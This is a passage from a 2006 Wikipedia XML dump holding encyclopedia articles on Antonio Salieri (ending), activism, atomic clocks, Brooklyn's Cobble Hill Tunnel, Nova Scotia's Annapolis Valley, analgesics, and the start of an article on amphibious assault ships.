There is far more evidence of a cooperative atmosphere between the two composers than for a real enmity. For example, Mozart appointed Salieri to teach his son Franz Xavier, and when Salieri was appointed Kapellmeister in [[1788 in music|1788]], he revived ''Figaro'' instead of bringing out a new opera of his own, and when he went to the coronation festivities for Leopold II in 1790 he had no less than three Mozart masses in his luggage. Salieri and Mozart even composed a song for voice and piano together, called ''Per la ricuperata salute di Ophelia'', which was celebrating the happy return to stage of the famous singer Nancy Storace. This song has been lost, although it had been printed by Artaria in 1785. Mozart's ''Davidde penitente'' K.469 (1785), his piano concerto in E flat major K.482 (1785), the clarinet quintet K.581 (1789) and the great symphony in G minor K.550 had been premiered on the suggestion of Salieri, who even conducted a performance of it in 1791. In his last surviving letter from October 14th 1791, Mozart tells his wife about Salieri's attendance at his opera ''[[Die Zauberflöte]]'' K 620, speaking enthusiastically: ''&quot;He heard and saw with all his attention, and from the ouverture to the last choir there was no piece that didn't elicit a bravo or bello out of him [...]&quot;''

Salieri's health declined in his later years, and he was hospitalized shortly before his death. It was shortly after he died that rumors first spread that he had confessed to Mozart's murder on his deathbed. Salieri's two nurses, Gottlieb Parsko and Georg Rosenberg, as well as his family doctor Joseph Röhrig, attested that he never said any such thing. At least one of these three people were with him throughout his hospitalization.

After Salieri's death in 1825, [[Aleksandr Pushkin]]'s drama ''Mozart i Salieri'' (1831) and the opera setting of this work by [[Nicolai Rimsky-Korsakov]] ([[1898]]) started a tradition of poetic license based on Mozart's allegations, continued and popularized by [[Peter Shaffer]]'s heavily fictionalized play ''[[Amadeus]]'' (1979) and the [[Academy Award|Oscar]]-winning 1984 film by [[Milos Forman]] based on it, in which [[F. Murray Abraham]] played Salieri and [[Tom Hulce]] played the title character. Both Schaffer and Foreman expressly maintained the fictional nature of their respective works, and while it is never explicitly stated in the play that Salieri killed Mozart, he is portrayed as bitterly hating his rival, going so far as to renounce God for blessing Mozart (portrayed in the play as an immature dandy) with fantastic talent while refusing to let ''him'' be anything but &quot;a mediocrity.&quot;  

Due largely to Schaffer's play and its movie adaptation, the word &quot;Salieri&quot; has entered the public consciousness to mean a merely competent artist standing in the shadow of a genius.

== Recent Popularity ==

In 2003, [[mezzo-soprano]] [[Cecilia Bartoli]] released ''The Salieri Album'', a CD with 13 arias from Salieri's operas, most of which had never been recorded before. Since 2000 there have also been complete recordings issued of the operas [[Falstaff (opera)|Falstaff]], [[Les Danaides]], and [[La Grotta di Trofonio]]. Although he has yet to fully re-enter the standard repertory, performances of Salieri's works are becoming more and more common.

==External links==

*[http://classyclassical.blogspot.com/2005/08/antonio-salieri-truth-or-fiction.html Salieri: Truth or Fiction]
*[http://reverent.org/mozart_or_salieri.html Mozart or Salieri?] A quiz with samples of both their music.

== References ==

* Rudolph Angermüller, ''Antonio Salieri'' 3 Vol. (München 1971-74)
* Rudolph Angermüller, ''Antonio Salieri. Fatti e Documenti'' (Legnago 1985)
* Volkmar Braunbehrens, ''Salieri, ein Musiker im Schatten Mozarts'' (München 1989), English translation entitled ''Maligned Master - the Real Story of Antonio Salieri'' (München 1992)
* A. Della Corte, ''Un italiano all'estero: Antonio Salieri'' (Torino 1936) 
* V. Della Croce/F. Blanchetti, ''Il caso Salieri'' (Torino 1994) 
* I. F. Edler v. Mosel, ''Über das Leben und die Werke des Anton Salieri'' (Vienna 1827)
* John A. Rice, ''Antonio Salieri and Viennese Opera'' (Chicago 1998)
* Alexander Wheelock Thayer, ''Salieri: Rival of Mozart'' (Kansas City 1989)

[[Category:1750 births|Salieri, Antonio]]
[[Category:1825 deaths|Salieri, Antonio]]
[[Category:Italian composers|Salieri, Antonio]]
[[Category:Classical era composers|Salieri, Antonio]]
[[Category:Opera composers|Salieri, Antonio]]
[[Category:Natives of the Veneto|Salieri, Antonio]]

[[ca:Antonio Salieri]]
[[da:Antonio Salieri]]
[[de:Antonio Salieri]]
[[es:Antonio Salieri]]
[[fr:Antonio Salieri]]
[[ko:안토니오 살리에리]]
[[he:אנטוניו סליירי]]
[[it:Antonio Salieri]]
[[nl:Antonio Salieri]]
[[ja:アントニオ・サリエリ]]
[[pl:Antonio Salieri]]
[[pt:António Salieri]]
[[ro:Antonio Salieri]]
[[ru:Сальери, Антонио]]
[[sk:Antonio Salieri]]
[[fi:Antonio Salieri]]
[[sl:Antonio Salieri]]
[[sv:Antonio Salieri]]
[[th:อานโตนิโอ ซาลิเอรี]]
[[zh:安东尼奥·萨列里]]</text>
    </revision>
  </page>
  <page>
    <title>Activism</title>
    <id>2242</id>
    <revision>
      <id>41952470</id>
      <timestamp>2006-03-02T21:16:59Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: nl</comment>
      <text xml:space="preserve">'''Activism''', in a general sense, can be described as intentional action to bring about [[social change|social]] or [[politics|political]] change. This action is in support of, or opposition to, one side of an often [[controversy|controversial]] argument.

The word &quot;activism&quot; is often used [[synonymous]]ly with [[protest]] or [[dissent]], but activism can stem from any number of political orientations and take a wide range of forms, from writing letters to newspapers or politicians, simply [[Economic activism|shopping ethically]], rallies and [[demonstration|street marches]], [[direct action]], or even [[guerrilla warfare|guerrilla tactics]]. In the more confrontational cases, an activist may be called a [[freedom fighter]] by some, and a [[terrorism|terrorist]] by others, depending on which side of the political fence is making the observation.

Since the 2004 elections and controversy over [[gay marriage]] in the United States, &quot;activist&quot; has often been used as a [[pejorative]] for those who seek to redress [[social injustice|social ills]] through [[lawsuit|legal]] rather than [[legislation|legislative]] action. Thus many [[American conservatism|conservative]] politicians have sought to curb the power of those deemed &quot;activist [[judge]]s&quot; whom they claim are acting outside traditional boundaries of [[judicial review]] [http://www.csmonitor.com/2005/0413/p15s02-usju.html]. Some [[American liberalism|liberal]]s contend that [[judicial activism]] is in a long-standing US legal tradition, while others have responded that judicial activism is more prevalent among judges deemed conservative [http://www.nytimes.com/2005/07/06/opinion/06gewirtz.html?ex=1278302400&amp;en=0e5fac7774080327&amp;ei=5090&amp;partner=rssuserland&amp;emc=rss].

== Types of activism ==
* [[Animal liberation movement]]
* [[Boycott]]
* [[Civil and social disobedience]]
* [[Civil disobedience]]
* [[Culture jamming]]
* [[Demonstration]]
* [[Direct action]]
* [[Economic activism]]
** [[Divestment]] (economic boycott)
* [[Electronic advocacy]]
* [[Guerrilla communication]]
* [[Hacktivism]]
* [[Judicial activism]]
* [[Lobbying]]
* [[Media activism]]
* [[Nonviolence]]
* [[Protest]]
**[[Protest#Forms of protest|Forms of protest]]
* [[Strike action]]
*[[Theater for Social Change]]
* [[Voluntary simplicity]]

== Activist issues ==
* [[Animal rights activism]]
* [[Consumerism|Anti-consumerism]]
* [[Anti-corporate activism]]
* [[Anti-cult movement|Anti-cult activism]]
* [[Christian right|Christian right activism]]
* [[Civil rights]]
* [[Digital divide|Digital divide activism]]
* [[Disability rights]] 
* [[Environmentalism]]
* [[Fair trade]]
* [[Gay rights]]
* [[Human rights]]
* [[Libertarian socialism]]
* [[Nationalist activism]]
* [[Pro-life|Pro-life activism]]
* [[Public nudity]]
* [[Racism]] – see [[Anti-racism]], [[White supremacism]]
* [[Rastafari movement]]
* [[Social activist|Social activism]]
* [[Sovereignty]] – see Category: [[:Category:Sovereignty movements|Sovereignty movements]] 
* [[Student activism]]
* [[Tactical Frivolity]]
* [[Feminism|Women's rights]]
* [[Youth activism]]

==See also==
* [[Revolution]]
* [[Rebellion]]
* [[Reform movement]]
* [[Social movement]]
* [[Activism industry]]
* [[:Category:Activists]]
* [http://activism.wikicities.com/wiki/Main_Page Wikicities:Activism]

[[Category:Activism]]
[[Category:Politics]]
[[Category:Dissent]]
[[Category:Social justice]]
[[Category:Community organizing]]

[[cs:Aktivismus]]
[[da:Aktivisme]]
[[de:Aktivist]]
[[fr:Activisme politique]]
[[he:אקטיביזם]]
[[nl:Politiek activisme]]
[[fi:Aktivismi]]
[[sv:Aktivism]]</text>
    </revision>
  </page>
  <page>
    <title>Atomic clock</title>
    <id>2243</id>
    <revision>
      <id>41780704</id>
      <timestamp>2006-03-01T18:26:35Z</timestamp>
      <contributor>
        <username>Emre D.</username>
        <id>665265</id>
      </contributor>
      <minor />
      <comment>Revert to revision 40671856 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Atomicclock.jpg|thumb|250px|Atomic clock]]
[[Image:ChipScaleClock2 HR.jpg|thumb|250px|Chip-Scale Atomic Clock Unveiled by NIST]]
An '''atomic clock''' is a type of [[clock]] that uses an [[atom]]ic resonance frequency standard as its counter.  Early atomic clocks were [[maser]]s with attached equipment. Today's best atomic frequency standards (or clocks) are based on more advanced physics involving cold atoms and atomic fountains.   
National standards agencies maintain an accuracy of 10&lt;sup&gt;-9&lt;/sup&gt; seconds per day, and a precision equal to the frequency of the radio transmitter pumping the maser.  The clocks maintain a continuous and stable time scale, [[International Atomic Time]] (TAI).  For civil time, another time scale is disseminated, [[Coordinated Universal Time]] (UTC). UTC is derived from TAI, but synchronized with the passing of day and night based on astronomical observations.

The first atomic clock was built in [[1949]] at the U.S. [[National Bureau of Standards]]. The first accurate atomic clock, based on the transition of the [[caesium]]-133 atom, was built by [[Louis Essen]] in [[1955]] at the [[National Physical Laboratory, UK|National Physical Laboratory]] in the [[United Kingdom|UK]]. This led to the internationally agreed definition of the [[second]] being based on atomic time.

In [[August 2004]], [[National Institute of Standards and Technology|NIST]] scientists demonstrated a chip-scaled atomic clock. According to the researchers, the clock was believed to be one hundredth the size of any other. It was also claimed that it requires just 75 [[milliwatt|mW]], making it suitable for [[battery (electricity)|battery]]-driven applications.

Modern [[radio clock]]s are referenced to atomic clocks, and provide a way of getting high-quality atomic-derived time over a wide area using inexpensive equipment; however, radio clocks are not appropriate for high-precision, scientific work.

==How they work ==

Frequency reference [[maser]]s use glowing chambers of [[ion (physics)|ion]]ized gas, most often [[caesium]], because caesium is the [[Chemical element|element]] used in the official international definition of the [[second]].  

Since 1967, the International System of Units ([[SI]]) has defined the second as 9,192,631,770 cycles of the radiation which corresponds to the transition between two energy levels of the ground state of the Caesium-133 atom. 
This definition makes the caesium oscillator (often called an atomic clock) the primary standard for time and frequency measurements (see [[caesium standard]]). Other physical quantities, like the [[volt]] and [[metre]], rely on the definition of the second as part of their own definitions.

The core of the atomic clock is a [[microwave]] cavity containing the ionized gas, a tunable microwave [[radio]] oscillator, and a [[PID loop|feedback loop]] which is used to adjust the oscillator to the exact frequency of the absorption characteristic defined by the behavior of the individual atoms.

The microwave transmitter fills the chamber with a standing wave of [[radio wave]]s. When the radio frequency matches the [[hyperfine transition]] frequency of caesium, the caesium atoms absorb the radio waves and emit [[light]].  The radio waves make the [[electron]]s move farther from their [[atomic nucleus|nuclei]].  When the electrons are attracted back closer by the opposite [[electric charge|charge]] of the nucleus, the electrons wiggle before they settle down in their new location.  This moving charge causes the light, which is a wave of alternating [[electricity]] and [[magnetism]].

A [[photocell]] looks at the light. When the light gets dimmer because the frequency of the excitation has drifted from the true resonance frequency, [[electronics]] between the photocell and radio transmitter adjusts the frequency of the radio transmitter. 

This adjustment process is where most of the work and complexity of the clock lies.  The adjustment tries to eliminate unwanted side-effects, such as frequencies from other electron transitions, distortions in quantum fields and temperature effects in the mechanisms. For example, the radio wave's frequency could be deliberately cycled sinusoidally up and down to generate a modulated signal at the photocell.  The photocell's signal can then be demodulated to apply feedback to control long-term drift in the radio frequency. In this way, the ultra-precise quantum-mechanical properties of the atomic transition frequency of the caesium can be used to tune the microwave oscillator to the same frequency (except for a small amount of experimental error). In practice, the feedback and monitoring mechanism is much more complex than described above.   
When a clock is first turned on, it takes a while for it to settle down before it can be trusted.  
[[Image:Clock accurcy.jpg|thumb|left|200px|Historical accuracy of atomic clocks from [[NIST]].]]
A counter counts the waves made by the radio transmitter. 
A computer reads the counter, and does math to convert the number to something that looks like a digital clock, or a radio wave that is transmitted. 
Of course, the real clock is the original mechanism of cavity, oscillator and feedback loop that maintains the frequency standard on which the clock is based.

A number of other atomic clock schemes are in use for other purposes.  [[Rubidium]] clocks are prized for their low cost, small size (commercial standards are as small as 400 cm&lt;sup&gt;3&lt;/sup&gt;), and short term stability.  They are used in many commercial, portable and aerospace applications.  [[Hydrogen]] [[maser]]s (often manufactured in [[Russia]]) have superior short term stability to other standards, but lower long term accuracy.

Often, one standard is used to fix another.  For example, some commercial applications use a Rubidium standard slaved to a [[GPS]] receiver.  This achieves excellent short term accuracy, with long term accuracy equal to (and traceable to) the U.S. national time standards.

The lifetime of a standard is an important practical issue.  Modern Rubidium standard tubes last more than ten years, and can cost as little as $50 US.  Caesium reference tubes suitable for national standards currently last about seven years, and cost about $35,000 US.  Hydrogen standards have an unlimited lifetime.

==Research==

Most research focuses on way to make the clocks smaller, cheaper, more accurate, and more reliable.  These goals usually conflict.

A lot of research currently focuses on various sorts of ion traps.  Theoretically, a single ion suspended electromagnetically could be observed for very long periods, increasing the accuracy of the clock, while also reducing its size and power consumption.  

In practice, single-ion clocks have poor short term accuracy because the ion moves so much.  Current research uses [[laser cooling]] of ions, with optical resonators to increase the short term stability of the driving optics.  Much of the difficulty is related to eliminating temperature and mechanical [[Noise (physics)|noise effects]] in the resonators and lasers. No laser has achieved wide use.  The result is that the ion trap is very small, but the supporting equipment is still large.

Some researchers developed clocks with different geometries of ion traps, as well.  Linear clouds of ions usually have better short term accuracy than single ions.  There are trade-offs.

The best developed systems use [[Mercury (element)|Mercury]] ions.  Some researchers experiment with other ions.  A particular isotope of [[Ytterbium]] has a particularly precise resonant frequency in one of its hyperfine transitions.  [[Strontium]] has a hyperfine transition that is not as precise, but can be driven by solid-state lasers.  This might permit a very inexpensive, long-lasting compact clock.

==See also ==
* [[NIST-F1]]
* [[Optical Atomic Clock]] [http://news.bbc.co.uk/2/hi/science/nature/4023777.stm]
* [[Radio clock]]
* [[Second]]

==External links==
* [http://www.ptb.de  PTB Braunschweig, Germany - with link in English language]
* [http://www.atomic-clock.org.uk/atomuhr.html Atomic Clock United Kingdom]
* [http://www.npl.co.uk/time National Physical Laboratory (UK) time website]
* [http://www.boulder.nist.gov/timefreq/service/its.htm  NIST Internet Time Service (ITS): Set Your Computer Clock Via the Internet]
* [http://www.nist.gov/public_affairs/releases/miniclock.htm NIST press release about chip-scaled atomic clock]
* [http://nist.time.gov/ NIST website]
* [http://www.sciencemuseum.org.uk/on-line/atomclocks Web pages on atomic clocks] by [[Science Museum (London)|The Science Museum (London)]]

[[Category:Clocks]]
[[Category: Nuclear technology]]

[[bg:Атомен часовник]]
[[cs:Atomové hodiny]]
[[da:Atomur]]
[[de:Atomuhr]]
[[es:Reloj atómico]]
[[fr:Horloge atomique]]
[[id:Jam atom]]
[[it:Orologio atomico]]
[[he:שעון אטומי]]
[[nl:Atoomklok]]
[[ja:原子時計]]
[[no:Atomur]]
[[pl:Zegar atomowy]]
[[pt:Relógio atômico]]
[[ru:Атомные часы]]
[[sv:Atomur]]</text>
    </revision>
  </page>
  <page>
    <title>Cobble Hill Tunnel</title>
    <id>2244</id>
    <revision>
      <id>41738867</id>
      <timestamp>2006-03-01T11:39:01Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Atlantic Avenue Tunnel''' (or '''Cobble Hill Tunnel''' of the [[Long Island Rail Road]]) is an abandoned railroad tunnel beneath Atlantic Avenue in downtown [[Kings County, New York|Brooklyn, New York]]. When open, it ran for about 2750 feet (830&amp;nbsp;m) between Hicks Street and Boerum Place.

It was opened on [[December 3]], [[1844]] and was finished by [[January 1]], [[1845]], as an open cut--that is, a reinforced trench open to the sky. It was built to reduce the grade of the railroad line on its way to the South Ferry at the foot of Atlantic Street (now Avenue), from which passenger could catch ferries to [[Manhattan|New York County]].

Five years later a &quot;sturdy brick arch&quot; was placed over the cut, making it a true tunnel. As built, the tunnel was 21 feet (6.4&amp;nbsp;m) wide, 17 feet (5.1&amp;nbsp;m) high and 1,611 feet (491&amp;nbsp;m) long.

Insofar as it carried railroad trains under a city street, it could be described as a [[subway]] tunnel, though unlike a modern [[rapid transit]] subway, it had no stations. The similar [[Murray Hill Tunnel]] on the [[New York and Harlem Railroad]] was roofed over in the [[1850s]]. The ends of the tunnel were sealed in the fall of [[1861]].

In March 1916, the FBI suspected German terrorists were making bombs in the tunnel, and broke through. They found nothing, installed an electric light, and resealed the tunnel.  In the 1920s the tunnel was reportedly used for both mushroom growing and bootleg whiskey stills. In 1936, New York City police broke into the tunnel with jackhammers to look for the body of a hoodlum supposedly buried there. In 1941 the tunnel was again inspected by the federal [[Works Progress Administration]] to determine its structural strength. A few years later, it was once again opened, this time by the FBI, in an unsuccessful search for spies. During the late 1950s it was inspected by two rail historians, George Horn and Martin Schachne.

It fell into myth, but was rediscovered by the then-18-year-old [[Bob Diamond|Robert &quot;Bob&quot; Diamond]] in 1981, who entered from a manhole at Atlantic and Court Street. It has been listed on the National Register of Historic Places since 1989.

[[Walt Whitman]] wrote of the tunnel:
:The old tunnel, that used to lie there under ground, a passage of Acheron-like solemnity and darkness, now all closed and filled up, and soon to be utterly forgotten, with all its reminiscences; however, there will, for a few years yet be many dear ones, to not a few Brooklynites, New Yorkers, and promiscuous crowds besides. For it was here you started to go down the island, in summer. For years, it was confidently counted on that this spot, and the railroad of which it was the terminus, were going to prove the permanent seat of business and wealth that belong to such enterprises. But its glory, after enduring in great splendor for a season, has now vanished&amp;mdash;at least its Long Island Railroad glory has. The tunnel: dark as the grave, cold, damp, and silent. How beautiful look earth and heaven again, as we emerge from the gloom! It might not be unprofitable, now and then, to send us mortals&amp;mdash;the dissatisfied ones, at least, and that's a large proportion&amp;mdash;into some tunnel of several days' journey. We'd perhaps grumble less, afterward, at God's handiwork.

==See also==
*[[Brooklyn Historic Railway Association]] 

==External links==
* {{cite web | title=Early Transit in New York City | work=NYSubway.org | url=http://www.nycsubway.org/faq/earlysubway.html | accessdate=October 29 | accessyear=2005 }}
* {{cite web | title=The Atlantic Avenue Tunnel | work=New York City Subway Transit Scenes | url=http://wt.mit.edu/Subway/Tunnel/ | accessdate=October 29 | accessyear=2005 }}
* {{cite web | title=Brooklyn Historic Railway Association and Atlantic Avenue Tunnel | url=http://home.att.net/~Berliner-Ultrasonics/bhra.html | accessdate=October 29 | accessyear=2005 }}
* {{cite web | title=A Long-Lost Tunnel in Brooklyn | work=LI History.com | url=http://www.newsday.com/community/guide/lihistory/ny-history-hs515d,0,6961092.story | accessdate=October 29 | accessyear=2005 }}
* {{cite web | title=Crossing Brooklyn LIRR Tunnel | work=Forgotten NY | url=http://www.forgotten-ny.com/SUBWAYS/tunnel/tunnel.html | accessdate=October 29 | accessyear=2005 }}
* {{cite web | title=Cobble Hill (Atlantic Avenue) Tunnel History | work=RapindTransit.net | url=http://www.rapidtransit.net/net/faq/nyc/AtlanticTunnel.html | accessdate=October 29 | accessyear=2005 }}
{{Mapit-US-hoodscale|40.6904|-73.995}}

[[Category:Brooklyn]]
[[Category:Tunnels in New York City]]
[[Category:National Register of Historic Places]]
[[Category:Railway tunnels]]</text>
    </revision>
  </page>
  <page>
    <title>Annapolis Valley</title>
    <id>2245</id>
    <revision>
      <id>40913474</id>
      <timestamp>2006-02-23T21:23:21Z</timestamp>
      <contributor>
        <username>Plasma east</username>
        <id>60804</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Annapolis Valley''' is a valley in western [[Nova Scotia]], formed by a trough between two parallel mountain ranges along the shore of the [[Bay of Fundy]].

==Geography==
The Annapolis Valley measures approximately 150 [[kilometre|km]] in length from [[Digby, Nova Scotia|Digby]] and the [[Annapolis Basin]] in the west to [[Wolfville, Nova Scotia|Wolfville]] and the [[Minas Basin]] in the east, spanning the counties of [[Digby County, Nova Scotia|Digby]], [[Annapolis County, Nova Scotia|Annapolis]] and [[Kings County, Nova Scotia|Kings]].

Some also include the western part of [[Hants County, Nova Scotia|Hants County]], including the towns of [[Hantsport, Nova Scotia|Hantsport]] and [[Windsor, Nova Scotia|Windsor]] even further to the east, but geographically speaking they are part of the [[Avon River (Nova Scotia)|Avon River]] valley.

The steep face of basaltic North Mountain shelters the valley from the adjacent Bay of Fundy and rises to almost 1000 feet in elevation in some parts.  The granitic South Mountain also rises to similar elevation and shelters the valley from the climate of the Atlantic Ocean approximately 100 kilometres further south on the province's [[South Shore (Nova Scotia)|South Shore]].

Within the valley itself are two &quot;major&quot; rivers, the [[Annapolis River]] which flows west from the Caribou Bog in the central part of the valley into the [[Annapolis Basin]], and the [[Cornwallis River]] which flows east from Caribou Bog into the [[Minas Basin]].

The resulting &quot;micro climate&quot; provides relatively mild temperatures for the region, and coupled with the fertile glacial sedimentary soils on the valley floor, the region is conducive to growing vegetable and fruit crops.  Particularly famous for its [[apple]] crop, the valley hosts in excess of 1,000 farms of various types, the majority being relatively small family-owned operations.

==History==

Long settled by the [[Mi'kmaq]] Nation, the valley experienced French settlement at the [[Habitation at Port-Royal]], near modern day Annapolis Royal in the western part of the valley, beginning in 1605 and continuing through to the British-ordered expulsion of [[Acadian|Acadians]] in [[1755]] and at [[Grand Pre, Nova Scotia|Grand Pré]] in the eastern part of the valley.  [[New England Planters]] moved in to occupy the abandoned Acadian farming areas and the region also saw subsequent settlement by [[United Empire Loyalists|Loyalist]] refugees of the [[American Revolutionary War]], as well as foreign Protestants.

==Economy==

Today, the valley is still largely dominated by agriculture but also has a growing diversity in its economies, partly aided by the importance of post-secondary education centres provided by [[Acadia University]] in Wolfville, and the [[Nova Scotia Community College]] campuses located in [[Kentville, Nova Scotia|Kentville]], [[Middleton, Nova Scotia|Middleton]], [[Lawrencetown, Nova Scotia|Lawrencetown]], and [[Digby, Nova Scotia|Digby]].

[[Michelin]] has an important truck tire manufacturing plant in [[Waterville, Nova Scotia|Waterville]] and the [[Department of National Defence (Canada)|Department of National Defence]] has its largest [[Canadian Forces Air Command|air force]] base in [[Atlantic Canada]] located at [[CFB Greenwood]].

The valley is home to the annual [[Annapolis Valley Apple Blossom Festival|Apple Blossom Festival]], held in late spring.

==Communities==

Population centres in the valley from west to east include:

*[[Digby, Nova Scotia|Digby]]
*[[Cornwallis, Nova Scotia|Cornwallis]]
*[[Annapolis Royal, Nova Scotia|Annapolis Royal]]
*[[Bridgetown, Nova Scotia|Bridgetown]]
*[[Middleton, Nova Scotia|Middleton]]
*[[Kingston, Nova Scotia|Kingston]]
*[[Greenwood, Nova Scotia|Greenwood]]
*[[Aylesford, Nova Scotia|Aylesford]]
*[[Berwick, Nova Scotia|Berwick]]
*[[Cambridge, Nova Scotia|Cambridge]]
*[[Waterville, Nova Scotia|Waterville]]
*[[Coldbrook, Nova Scotia|Coldbrook]]
*[[Kentville, Nova Scotia|Kentville]]
*[[New Minas, Nova Scotia|New Minas]]
*[[Wolfville, Nova Scotia|Wolfville]]
*[[Grand Pré, Nova Scotia|Grand Pré]]

{{commons|Annapolis Valley|Annapolis Valley}}
[[Category:Valleys of Nova Scotia]]
[[Category:Annapolis Valley|*]]
[[de:Annapolis Valley]]</text>
    </revision>
  </page>
  <page>
    <title>Analgesic</title>
    <id>2246</id>
    <revision>
      <id>41062189</id>
      <timestamp>2006-02-24T20:39:11Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca</comment>
      <text xml:space="preserve">{{redirect|Painkiller}} 
An '''analgesic''' (colloquially known as '''painkillers''') is any member of the diverse group of [[Medication|drug]]s used to relieve [[pain]] and to achieve '''analgesia'''. This derives from Greek ''an-'', &quot;without&quot;, and ''-algia'', &quot;pain&quot;. Analgesic drugs act in various ways on the [[peripheral nervous system|peripheral]] and [[central nervous system]]; they include [[paracetamol]] (acetaminophen), the [[nonsteroidal anti-inflammatory drug]]s (NSAIDs) such as the [[salicylate]]s, [[narcotic]] drugs such as [[morphine]], synthetic drugs with narcotic properties such as [[tramadol]], and various others. Some other classes of drugs not normally considered analgesics are used to treat [[neuropathy|neuropathic]] pain syndromes; these include [[antidepressant|tricyclic antidepressants]] and [[anticonvulsant]]s.

==Stepwise use==
In [[1990]], the [[World Health Organisation]] (WHO) approved an &quot;analgesic ladder&quot; which recommends the stepwise introduction of stronger painkillers if the more basic ones are ineffective. While originally introduced for managing pain in [[cancer]], these guidelines have found application in all fields of medicine, such as surgery and anaesthetics.
# The first step is [[paracetamol]] (500&amp;nbsp;mg to 1&amp;nbsp;g every 4&amp;ndash;6 hours).
# The second step involves the addition of an NSAID (e.g. [[ibuprofen]]) or a weak opioid (such as [[codeine]]).
# The third step comprises the addition of a strong opioid (such  as [[morphine]], [[oxycodone]] or a [[fentanyl]] preparation); if codeine is being taken the strong opioid replaces codeine.

==The major classes==
===Paracetamol and NSAIDs===
The exact mechanism of action of paracetamol is uncertain, but it appears to be acting centrally. [[Aspirin]] and the NSAIDs inhibit [[cyclooxygenase]], leading to a decrease in [[prostaglandin]] production; this improves pain and also [[inflammation]] (in contrast to paracetamol and the opioids).

Paracetamol has few side effects, but dosing is limited by possible [[hepatotoxicity]] (potential for [[liver]] damage). NSAIDs may predispose to [[peptic ulcer]]s, [[renal failure]], [[allergy|allergic reactions]], and [[hearing loss]]. They may also increase the risk of [[hemorrhage]].

===Opiates and morphinomimetics===
[[Tramadol]] and [[buprenorphine]] are thought to be [[partial agonist]]s of the [[opioid receptor]]s. [[Morphine]], the archetypical opioid, and various other substances (e.g. [[pethidine]], [[oxycodone]], [[hydrocodone]], [[diamorphine]]) all exert a similar influence on the cerebral opioid system. Dosing may be limited by opioid toxicity (confusion, [[myoclonus|myoclonic jerks]] and pinpoint pupils), but there is no dose ceiling in patients who tolerate this.

Opioids, while very effective analgesics, may have some unpleasant side-effects. Up to 1 in 3 patients starting morphine may experience [[nausea]] and [[vomiting]] (generally relieved by a short course of [[antiemetic]]s). [[Pruritus]] (itching) may require switching to a different opioid. [[Constipation]] occurs in almost all patients on opioids, and [[laxative]]s ([[lactulose]], [[macrogol]]-containing or [[co-danthramer]]) are typically co-prescribed.

When used appropriately, opioids and similar [[narcotic]] analgesics are safe and effective, carrying relatively little risk of [[addiction]]. Occasionally, gradual tapering of the dose is required to avoid withdrawal symptoms.

===Specific agents===
In patients with chronic or neuropathic pain, various other substances may have analgesic properties. [[Tricyclic antidepressant]]s, especially [[amitriptyline]], have been shown to improve pain in what appears to be a central manner. The exact mechanism of [[carbamazepine]], [[gabapentin]] and [[pregabalin]] is similarly unclear, but these [[anticonvulsant]]s are used to treat neuropathic pain with modest success.

==Specific forms and uses==
===Combinations===
Analgesics are frequently used in combination, such as the paracetamol and [[codeine]] preparations found in many non-prescription pain relievers. They can also be found in combination with vasoconstrictor drugs such as [[pseudoephedrine]] for [[sinus]]-related preparations, or with [[antihistamine]] drugs for allergy sufferers.

===Topical or systemic===
Topical analgesia is generally recommended to avoid systemic side-effects. Painful joints, for example, may be treated with an [[ibuprofen]]- or [[diclofenac]]-containing gel; [[capsaicin]] also is used topically. [[Lidocaine]] and  [[glucocorticoid|steroids]] may be injected into painful joints for longer-term pain relief. [[Lidocaine]] is also used for painful [[mouth sore]]s and to numb areas for [[dentistry|dental]] work and minor medical procedures.

===Psychotropic agents===
[[Tetrahydrocannabinol]] and some other [[cannabinoids]], either from the ''[[Cannabis sativa]]'' plant or synthetic, have analgesic properties, although the use of cannabis derivatives is illegal in many countries. Other analgesic agents include [[ketamine]] (an NMDA receptor antagonist), [[clonidine]] and other α&lt;sub&gt;2&lt;/sub&gt;-adrenoreceptor agonists, and [[mexiletine]] and other local anaesthetic analogues.

==Addiction==
In the [[United States]] in recent years, however, there has been a wave of new [[addiction]]s to prescription painkillers such as [[oxycodone]] (OxyContin, Percocet etc.) and [[hydrocodone]] (Vicodin, Lortab etc.).  The [[US Government|U.S. Government]] is now taking steps to reverse this epidemic, which it has blamed on easy access to prescription drugs over the [[Internet]].  The bigger problem however is doctors overprescribing these drugs.

==See also==
* [[Patient-controlled analgesia]]

==Reference==
*  ''Cancer pain relief and palliative care''. Report of a WHO expert committee [World Health Organization Technical Report Series, 804] . Geneva, Switzerland: World Health Organization; 1990. pp. 1-75.

{{Analgesics}}

[[Category:Analgesics]]
[[Category:Pain]]

[[ca:Analgèsic]]
[[de:Analgetikum]]
[[es:Analgésico]]
[[fr:Analgésique]]
[[ms:Analgesik]]
[[nl:Pijnstiller]]
[[pt:Analgésico]]
[[sv:Analgetika]]
[[th:ยาบรรเทาปวด]]
[[tr:Analjezik]]
[[uk:Анальгетики]]</text>
    </revision>
  </page>
  <page>
    <title>Amphibious assault ship</title>
    <id>2247</id>
    <revision>
      <id>39864218</id>
      <timestamp>2006-02-16T11:18:20Z</timestamp>
      <contributor>
        <username>GraemeLeggett</username>
        <id>187158</id>
      </contributor>
      <comment>/* Developments in the 1950s, 1960s */</comment>
      <text xml:space="preserve">[[Image:USN_Amphibious_assault_ships.jpg|300px|right|thumb|Six of the U.S. Navy's seven amphibious assault ships in formation]]
[[Image:San Giusto.jpg|300px|right|thumb|The Italian MM San Giusto]]

'''Amphibious assault ships''', usually shortened to '''amphibs''', '''phibs''' or popularly known as '''gator freighters''', denotes a range of classes of [[warship]] employed to land and support ground forces on enemy territory by an [[amphibious assault]]. The largest fleet of these types is operated by the [[United States Navy]], including the [[Tarawa class amphibious assault ship|''Tarawa'' class]] dating back to the [[1970s]] and the newer and larger [[Wasp class amphibious assault ship|''Wasp'' class]] ships that debuted in [[1989]].  While grossly resembling [[aircraft carrier]]s, the role of an amphibious assault ship is fundamentally different:  its aviation facilities have the primary role of hosting helicopters to support forces ashore rather than to support strike aircraft.   

==History==
